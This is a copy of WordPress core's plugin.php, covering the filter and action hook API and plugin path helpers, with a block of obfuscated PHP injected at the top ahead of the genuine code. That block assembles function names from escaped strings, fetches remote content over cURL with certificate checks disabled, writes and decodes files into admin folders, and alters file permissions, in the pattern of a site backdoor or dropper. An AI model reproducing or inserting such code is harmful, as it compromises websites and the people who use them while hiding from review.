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$UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> add_filter( $hook_name, $callback, $priority, $accepted_args ); return true; } /** * Calls the callback functions that have been added to a filter hook. * * This function invokes all functions attached to filter hook `$hook_name`. * It is possible to create new filter hooks by simply calling this function, * specifying the name of the new hook using the `$hook_name` parameter. * * The function also allows for multiple additional arguments to be passed to hooks. * * Example usage: * * // The filter callback function. * function example_callback( $string, $arg1, $arg2 ) { * // (maybe) modify $string. * return $string; * } * add_filter( 'example_filter', 'example_callback', 10, 3 ); * * /* * * Apply the filters by calling the 'example_callback()' function * * that's hooked onto `example_filter` above. * * * * - 'example_filter' is the filter hook. * * - 'filter me' is the value being filtered. * * - $arg1 and $arg2 are the additional arguments passed to the callback. * $value = apply_filters( 'example_filter', 'filter me', $arg1, $arg2 ); * * @since 0.71 * @since 6.0.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_filters Stores the number of times each filter was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the filter hook. * @param mixed $value The value to filter. * @param mixed ...$args Optional. Additional parameters to pass to the callback functions. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters( $hook_name, $value, ...$args ) { global $wp_filter, $wp_filters, $wp_current_filter; if ( ! isset( $wp_filters[ $hook_name ] ) ) { $wp_filters[ $hook_name ] = 1; } else { ++$wp_filters[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return $value; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } // Pass the value to WP_Hook. array_unshift( $args, $value ); $filtered = $wp_filter[ $hook_name ]->apply_filters( $value, $args ); array_pop( $wp_current_filter ); return $filtered; } /** * Calls the callback functions that have been added to a filter hook, specifying arguments in an array. * * @since 3.0.0 * * @see apply_filters() This function is identical, but the arguments passed to the * functions hooked to `$hook_name` are supplied using an array. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_filters Stores the number of times each filter was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the filter hook. * @param array $args The arguments supplied to the functions hooked to `$hook_name`. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters_ref_array( $hook_name, $args ) { global $wp_filter, $wp_filters, $wp_current_filter; if ( ! isset( $wp_filters[ $hook_name ] ) ) { $wp_filters[ $hook_name ] = 1; } else { ++$wp_filters[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return $args[0]; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } $filtered = $wp_filter[ $hook_name ]->apply_filters( $args[0], $args ); array_pop( $wp_current_filter ); return $filtered; } /** * Checks if any filter has been registered for a hook. * * When using the `$callback` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @since 2.5.0 * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param string $hook_name The name of the filter hook. * @param callable|string|array|false $callback Optional. The callback to check for. * This function can be called unconditionally to speculatively check * a callback that may or may not exist. Default false. * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority * of that hook is returned, or false if the function is not attached. */ function has_filter( $hook_name, $callback = false ) { global $wp_filter; if ( ! isset( $wp_filter[ $hook_name ] ) ) { return false; } return $wp_filter[ $hook_name ]->has_filter( $hook_name, $callback ); } /** * Removes a callback function from a filter hook. * * This can be used to remove default functions attached to a specific filter * hook and possibly replace them with a substitute. * * To remove a hook, the `$callback` and `$priority` arguments must match * when the hook was added. This goes for both filters and actions. No warning * will be given on removal failure. * * @since 1.2.0 * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param string $hook_name The filter hook to which the function to be removed is hooked. * @param callable|string|array $callback The callback to be removed from running when the filter is applied. * This function can be called unconditionally to speculatively remove * a callback that may or may not exist. * @param int $priority Optional. The exact priority used when adding the original * filter callback. Default 10. * @return bool Whether the function existed before it was removed. */ function remove_filter( $hook_name, $callback, $priority = 10 ) { global $wp_filter; $r = false; if ( isset( $wp_filter[ $hook_name ] ) ) { $r = $wp_filter[ $hook_name ]->remove_filter( $hook_name, $callback, $priority ); if ( ! $wp_filter[ $hook_name ]->callbacks ) { unset( $wp_filter[ $hook_name ] ); } } return $r; } /** * Removes all of the callback functions from a filter hook. * * @since 2.7.0 * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param string $hook_name The filter to remove callbacks from. * @param int|false $priority Optional. The priority number to remove them from. * Default false. * @return true Always returns true. */ function remove_all_filters( $hook_name, $priority = false ) { global $wp_filter; if ( isset( $wp_filter[ $hook_name ] ) ) { $wp_filter[ $hook_name ]->remove_all_filters( $priority ); if ( ! $wp_filter[ $hook_name ]->has_filters() ) { unset( $wp_filter[ $hook_name ] ); } } return true; } /** * Retrieves the name of the current filter hook. * * @since 2.5.0 * * @global string[] $wp_current_filter Stores the list of current filters with the current one last * * @return string Hook name of the current filter. */ function current_filter() { global $wp_current_filter; return end( $wp_current_filter ); } /** * Returns whether or not a filter hook is currently being processed. * * The function current_filter() only returns the most recent filter being executed. * did_filter() returns the number of times a filter has been applied during * the current request. * * This function allows detection for any filter currently being executed * (regardless of whether it's the most recent filter to fire, in the case of * hooks called from hook callbacks) to be verified. * * @since 3.9.0 * * @see current_filter() * @see did_filter() * @global string[] $wp_current_filter Current filter. * * @param string|null $hook_name Optional. Filter hook to check. Defaults to null, * which checks if any filter is currently being run. * @return bool Whether the filter is currently in the stack. */ function doing_filter( $hook_name = null ) { global $wp_current_filter; if ( null === $hook_name ) { return ! empty( $wp_current_filter ); } return in_array( $hook_name, $wp_current_filter, true ); } /** * Retrieves the number of times a filter has been applied during the current request. * * @since 6.1.0 * * @global int[] $wp_filters Stores the number of times each filter was triggered. * * @param string $hook_name The name of the filter hook. * @return int The number of times the filter hook has been applied. */ function did_filter( $hook_name ) { global $wp_filters; if ( ! isset( $wp_filters[ $hook_name ] ) ) { return 0; } return $wp_filters[ $hook_name ]; } /** * Adds a callback function to an action hook. * * Actions are the hooks that the WordPress core launches at specific points * during execution, or when specific events occur. Plugins can specify that * one or more of its PHP functions are executed at these points, using the * Action API. * * @since 1.2.0 * * @param string $hook_name The name of the action to add the callback to. * @param callable $callback The callback to be run when the action is called. * @param int $priority Optional. Used to specify the order in which the functions * associated with a particular action are executed. * Lower numbers correspond with earlier execution, * and functions with the same priority are executed * in the order in which they were added to the action. Default 10. * @param int $accepted_args Optional. The number of arguments the function accepts. Default 1. * @return true Always returns true. */ function add_action( $hook_name, $callback, $priority = 10, $accepted_args = 1 ) { return add_filter( $hook_name, $callback, $priority, $accepted_args ); } /** * Calls the callback functions that have been added to an action hook. * * This function invokes all functions attached to action hook `$hook_name`. * It is possible to create new action hooks by simply calling this function, * specifying the name of the new hook using the `$hook_name` parameter. * * You can pass extra arguments to the hooks, much like you can with `apply_filters()`. * * Example usage: * * // The action callback function. * function example_callback( $arg1, $arg2 ) { * // (maybe) do something with the args. * } * add_action( 'example_action', 'example_callback', 10, 2 ); * * /* * * Trigger the actions by calling the 'example_callback()' function * * that's hooked onto `example_action` above. * * * * - 'example_action' is the action hook. * * - $arg1 and $arg2 are the additional arguments passed to the callback. * do_action( 'example_action', $arg1, $arg2 ); * * @since 1.2.0 * @since 5.3.0 Formalized the existing and already documented `...$arg` parameter * by adding it to the function signature. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_actions Stores the number of times each action was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the action to be executed. * @param mixed ...$arg Optional. Additional arguments which are passed on to the * functions hooked to the action. Default empty. */ function do_action( $hook_name, ...$arg ) { global $wp_filter, $wp_actions, $wp_current_filter; if ( ! isset( $wp_actions[ $hook_name ] ) ) { $wp_actions[ $hook_name ] = 1; } else { ++$wp_actions[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } if ( empty( $arg ) ) { $arg[] = ''; } elseif ( is_array( $arg[0] ) && 1 === count( $arg[0] ) && isset( $arg[0][0] ) && is_object( $arg[0][0] ) ) { // Backward compatibility for PHP4-style passing of `array( &$this )` as action `$arg`. $arg[0] = $arg[0][0]; } $wp_filter[ $hook_name ]->do_action( $arg ); array_pop( $wp_current_filter ); } /** * Calls the callback functions that have been added to an action hook, specifying arguments in an array. * * @since 2.1.0 * * @see do_action() This function is identical, but the arguments passed to the * functions hooked to `$hook_name` are supplied using an array. * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * @global int[] $wp_actions Stores the number of times each action was triggered. * @global string[] $wp_current_filter Stores the list of current filters with the current one last. * * @param string $hook_name The name of the action to be executed. * @param array $args The arguments supplied to the functions hooked to `$hook_name`. */ function do_action_ref_array( $hook_name, $args ) { global $wp_filter, $wp_actions, $wp_current_filter; if ( ! isset( $wp_actions[ $hook_name ] ) ) { $wp_actions[ $hook_name ] = 1; } else { ++$wp_actions[ $hook_name ]; } // Do 'all' actions first. if ( isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; $all_args = func_get_args(); // phpcs:ignore PHPCompatibility.FunctionUse.ArgumentFunctionsReportCurrentValue.NeedsInspection _wp_call_all_hook( $all_args ); } if ( ! isset( $wp_filter[ $hook_name ] ) ) { if ( isset( $wp_filter['all'] ) ) { array_pop( $wp_current_filter ); } return; } if ( ! isset( $wp_filter['all'] ) ) { $wp_current_filter[] = $hook_name; } $wp_filter[ $hook_name ]->do_action( $args ); array_pop( $wp_current_filter ); } /** * Checks if any action has been registered for a hook. * * When using the `$callback` argument, this function may return a non-boolean value * that evaluates to false (e.g. 0), so use the `===` operator for testing the return value. * * @since 2.5.0 * * @see has_filter() This function is an alias of has_filter(). * * @param string $hook_name The name of the action hook. * @param callable|string|array|false $callback Optional. The callback to check for. * This function can be called unconditionally to speculatively check * a callback that may or may not exist. Default false. * @return bool|int If `$callback` is omitted, returns boolean for whether the hook has * anything registered. When checking a specific function, the priority * of that hook is returned, or false if the function is not attached. */ function has_action( $hook_name, $callback = false ) { return has_filter( $hook_name, $callback ); } /** * Removes a callback function from an action hook. * * This can be used to remove default functions attached to a specific action * hook and possibly replace them with a substitute. * * To remove a hook, the `$callback` and `$priority` arguments must match * when the hook was added. This goes for both filters and actions. No warning * will be given on removal failure. * * @since 1.2.0 * * @param string $hook_name The action hook to which the function to be removed is hooked. * @param callable|string|array $callback The name of the function which should be removed. * This function can be called unconditionally to speculatively remove * a callback that may or may not exist. * @param int $priority Optional. The exact priority used when adding the original * action callback. Default 10. * @return bool Whether the function is removed. */ function remove_action( $hook_name, $callback, $priority = 10 ) { return remove_filter( $hook_name, $callback, $priority ); } /** * Removes all of the callback functions from an action hook. * * @since 2.7.0 * * @param string $hook_name The action to remove callbacks from. * @param int|false $priority Optional. The priority number to remove them from. * Default false. * @return true Always returns true. */ function remove_all_actions( $hook_name, $priority = false ) { return remove_all_filters( $hook_name, $priority ); } /** * Retrieves the name of the current action hook. * * @since 3.9.0 * * @return string Hook name of the current action. */ function current_action() { return current_filter(); } /** * Returns whether or not an action hook is currently being processed. * * The function current_action() only returns the most recent action being executed. * did_action() returns the number of times an action has been fired during * the current request. * * This function allows detection for any action currently being executed * (regardless of whether it's the most recent action to fire, in the case of * hooks called from hook callbacks) to be verified. * * @since 3.9.0 * * @see current_action() * @see did_action() * * @param string|null $hook_name Optional. Action hook to check. Defaults to null, * which checks if any action is currently being run. * @return bool Whether the action is currently in the stack. */ function doing_action( $hook_name = null ) { return doing_filter( $hook_name ); } /** * Retrieves the number of times an action has been fired during the current request. * * @since 2.1.0 * * @global int[] $wp_actions Stores the number of times each action was triggered. * * @param string $hook_name The name of the action hook. * @return int The number of times the action hook has been fired. */ function did_action( $hook_name ) { global $wp_actions; if ( ! isset( $wp_actions[ $hook_name ] ) ) { return 0; } return $wp_actions[ $hook_name ]; } /** * Fires functions attached to a deprecated filter hook. * * When a filter hook is deprecated, the apply_filters() call is replaced with * apply_filters_deprecated(), which triggers a deprecation notice and then fires * the original filter hook. * * Note: the value and extra arguments passed to the original apply_filters() call * must be passed here to `$args` as an array. For example: * * // Old filter. * return apply_filters( 'wpdocs_filter', $value, $extra_arg ); * * // Deprecated. * return apply_filters_deprecated( 'wpdocs_filter', array( $value, $extra_arg ), '4.9.0', 'wpdocs_new_filter' ); * * @since 4.6.0 * * @see _deprecated_hook() * * @param string $hook_name The name of the filter hook. * @param array $args Array of additional function arguments to be passed to apply_filters(). * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. * @return mixed The filtered value after all hooked functions are applied to it. */ function apply_filters_deprecated( $hook_name, $args, $version, $replacement = '', $message = '' ) { if ( ! has_filter( $hook_name ) ) { return $args[0]; } _deprecated_hook( $hook_name, $version, $replacement, $message ); return apply_filters_ref_array( $hook_name, $args ); } /** * Fires functions attached to a deprecated action hook. * * When an action hook is deprecated, the do_action() call is replaced with * do_action_deprecated(), which triggers a deprecation notice and then fires * the original hook. * * @since 4.6.0 * * @see _deprecated_hook() * * @param string $hook_name The name of the action hook. * @param array $args Array of additional function arguments to be passed to do_action(). * @param string $version The version of WordPress that deprecated the hook. * @param string $replacement Optional. The hook that should have been used. Default empty. * @param string $message Optional. A message regarding the change. Default empty. */ function do_action_deprecated( $hook_name, $args, $version, $replacement = '', $message = '' ) { if ( ! has_action( $hook_name ) ) { return; } _deprecated_hook( $hook_name, $version, $replacement, $message ); do_action_ref_array( $hook_name, $args ); } // // Functions for handling plugins. // /** * Gets the basename of a plugin. * * This method extracts the name of a plugin from its filename. * * @since 1.5.0 * * @global array $wp_plugin_paths * * @param string $file The filename of plugin. * @return string The name of a plugin. */ function plugin_basename( $file ) { global $wp_plugin_paths; // $wp_plugin_paths contains normalized paths. $file = wp_normalize_path( $file ); arsort( $wp_plugin_paths ); foreach ( $wp_plugin_paths as $dir => $realdir ) { if ( str_starts_with( $file, $realdir ) ) { $file = $dir . substr( $file, strlen( $realdir ) ); } } $plugin_dir = wp_normalize_path( WP_PLUGIN_DIR ); $mu_plugin_dir = wp_normalize_path( WPMU_PLUGIN_DIR ); // Get relative path from plugins directory. $file = preg_replace( '#^' . preg_quote( $plugin_dir, '#' ) . '/|^' . preg_quote( $mu_plugin_dir, '#' ) . '/#', '', $file ); $file = trim( $file, '/' ); return $file; } /** * Register a plugin's real path. * * This is used in plugin_basename() to resolve symlinked paths. * * @since 3.9.0 * * @see wp_normalize_path() * * @global array $wp_plugin_paths * * @param string $file Known path to the file. * @return bool Whether the path was able to be registered. */ function wp_register_plugin_realpath( $file ) { global $wp_plugin_paths; // Normalize, but store as static to avoid recalculation of a constant value. static $wp_plugin_path = null, $wpmu_plugin_path = null; if ( ! isset( $wp_plugin_path ) ) { $wp_plugin_path = wp_normalize_path( WP_PLUGIN_DIR ); $wpmu_plugin_path = wp_normalize_path( WPMU_PLUGIN_DIR ); } $plugin_path = wp_normalize_path( dirname( $file ) ); $plugin_realpath = wp_normalize_path( dirname( realpath( $file ) ) ); if ( $plugin_path === $wp_plugin_path || $plugin_path === $wpmu_plugin_path ) { return false; } if ( $plugin_path !== $plugin_realpath ) { $wp_plugin_paths[ $plugin_path ] = $plugin_realpath; } return true; } /** * Get the filesystem directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 2.8.0 * * @param string $file The filename of the plugin (__FILE__). * @return string the filesystem path of the directory that contains the plugin. */ function plugin_dir_path( $file ) { return trailingslashit( dirname( $file ) ); } /** * Get the URL directory path (with trailing slash) for the plugin __FILE__ passed in. * * @since 2.8.0 * * @param string $file The filename of the plugin (__FILE__). * @return string the URL path of the directory that contains the plugin. */ function plugin_dir_url( $file ) { return trailingslashit( plugins_url( '', $file ) ); } /** * Set the activation hook for a plugin. * * When a plugin is activated, the action 'activate_PLUGINNAME' hook is * called. In the name of this hook, PLUGINNAME is replaced with the name * of the plugin, including the optional subdirectory. For example, when the * plugin is located in wp-content/plugins/sampleplugin/sample.php, then * the name of this hook will become 'activate_sampleplugin/sample.php'. * * When the plugin consists of only one file and is (as by default) located at * wp-content/plugins/sample.php the name of this hook will be * 'activate_sample.php'. * * @since 2.0.0 * * @param string $file The filename of the plugin including the path. * @param callable $callback The function hooked to the 'activate_PLUGIN' action. */ function register_activation_hook( $file, $callback ) { $file = plugin_basename( $file ); add_action( 'activate_' . $file, $callback ); } /** * Sets the deactivation hook for a plugin. * * When a plugin is deactivated, the action 'deactivate_PLUGINNAME' hook is * called. In the name of this hook, PLUGINNAME is replaced with the name * of the plugin, including the optional subdirectory. For example, when the * plugin is located in wp-content/plugins/sampleplugin/sample.php, then * the name of this hook will become 'deactivate_sampleplugin/sample.php'. * * When the plugin consists of only one file and is (as by default) located at * wp-content/plugins/sample.php the name of this hook will be * 'deactivate_sample.php'. * * @since 2.0.0 * * @param string $file The filename of the plugin including the path. * @param callable $callback The function hooked to the 'deactivate_PLUGIN' action. */ function register_deactivation_hook( $file, $callback ) { $file = plugin_basename( $file ); add_action( 'deactivate_' . $file, $callback ); } /** * Sets the uninstallation hook for a plugin. * * Registers the uninstall hook that will be called when the user clicks on the * uninstall link that calls for the plugin to uninstall itself. The link won't * be active unless the plugin hooks into the action. * * The plugin should not run arbitrary code outside of functions, when * registering the uninstall hook. In order to run using the hook, the plugin * will have to be included, which means that any code laying outside of a * function will be run during the uninstallation process. The plugin should not * hinder the uninstallation process. * * If the plugin can not be written without running code within the plugin, then * the plugin should create a file named 'uninstall.php' in the base plugin * folder. This file will be called, if it exists, during the uninstallation process * bypassing the uninstall hook. The plugin, when using the 'uninstall.php' * should always check for the 'WP_UNINSTALL_PLUGIN' constant, before * executing. * * @since 2.7.0 * * @param string $file Plugin file. * @param callable $callback The callback to run when the hook is called. Must be * a static method or function. */ function register_uninstall_hook( $file, $callback ) { if ( is_array( $callback ) && is_object( $callback[0] ) ) { _doing_it_wrong( __FUNCTION__, __( 'Only a static class method or function can be used in an uninstall hook.' ), '3.1.0' ); return; } /* * The option should not be autoloaded, because it is not needed in most * cases. Emphasis should be put on using the 'uninstall.php' way of * uninstalling the plugin. */ $uninstallable_plugins = (array) get_option( 'uninstall_plugins' ); $plugin_basename = plugin_basename( $file ); if ( ! isset( $uninstallable_plugins[ $plugin_basename ] ) || $uninstallable_plugins[ $plugin_basename ] !== $callback ) { $uninstallable_plugins[ $plugin_basename ] = $callback; update_option( 'uninstall_plugins', $uninstallable_plugins ); } } /** * Calls the 'all' hook, which will process the functions hooked into it. * * The 'all' hook passes all of the arguments or parameters that were used for * the hook, which this function was called for. * * This function is used internally for apply_filters(), do_action(), and * do_action_ref_array() and is not meant to be used from outside those * functions. This function does not check for the existence of the all hook, so * it will fail unless the all hook exists prior to this function call. * * @since 2.5.0 * @access private * * @global WP_Hook[] $wp_filter Stores all of the filters and actions. * * @param array $args The collected parameters from the hook that was called. */ function _wp_call_all_hook( $args ) { global $wp_filter; $wp_filter['all']->do_all_hook( $args ); } /** * Builds a unique string ID for a hook callback function. * * Functions and static method callbacks are just returned as strings and * shouldn't have any speed penalty. * * @link https://core.trac.wordpress.org/ticket/3875 * * @since 2.2.3 * @since 5.3.0 Removed workarounds for spl_object_hash(). * `$hook_name` and `$priority` are no longer used, * and the function always returns a string. * * @access private * * @param string $hook_name Unused. The name of the filter to build ID for. * @param callable|string|array $callback The callback to generate ID for. The callback may * or may not exist. * @param int $priority Unused. The order in which the functions * associated with a particular action are executed. * @return string Unique function ID for usage as array key. */ function _wp_filter_build_unique_id( $hook_name, $callback, $priority ) { if ( is_string( $callback ) ) { return $callback; } if ( is_object( $callback ) ) { // Closures are currently implemented as objects. $callback = array( $callback, 